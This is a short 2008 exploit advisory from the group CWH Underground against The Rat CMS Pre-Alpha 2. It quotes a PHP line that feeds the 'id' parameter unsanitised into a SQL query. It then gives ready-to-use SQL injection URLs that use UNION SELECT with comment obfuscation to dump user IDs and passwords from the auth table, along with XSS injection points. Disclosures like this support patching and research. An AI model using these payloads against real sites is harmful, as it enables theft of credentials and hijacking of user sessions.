theratcms-sqlxss.txt

`==========================================================  
The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities  
==========================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
  
AUTHOR : CWH Underground  
DATE : 25 June 2008  
SITE : cwh.citec.us  
  
  
#####################################################  
APPLICATION : The Rat CMS  
VERSION : Pre-Alpha 2  
VENDOR : N/A  
DOWNLOAD : http://downloads.sourceforge.net/the-rat-cms  
#####################################################  
  
--- Remote SQL Injection ---  
  
---------------------------------------  
Vulnerable File [viewarticle.php?id=]  
---------------------------------------  
  
@Line 5  
  
73: $query = "SELECT title, content FROM news WHERE id=".$_GET['id'];  
74: $result = mysql_query($query) or die('Error : ' . mysql_error());   
75: $row = mysql_fetch_array($result, MYSQL_ASSOC);   
  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[trcms_path]/viewarticle.php?id=[SQL Injection]  
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=[SQL Injection]  
  
  
-------------  
POC Exploit  
-------------  
  
http://192.168.24.25/trcms/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--  
http://192.168.24.25/trcms/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user--  
  
  
--- Remote XSS ---  
  
---------  
Exploit  
---------  
  
[+] http://[Target]/[trcms_path]/viewarticle.php/<XSS>  
[+] http://[Target]/[trcms_path]/viewarticle.php?id=<XSS>  
[+] http://[Target]/[trcms_path]/viewarticle2.php?id=<XSS>  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
`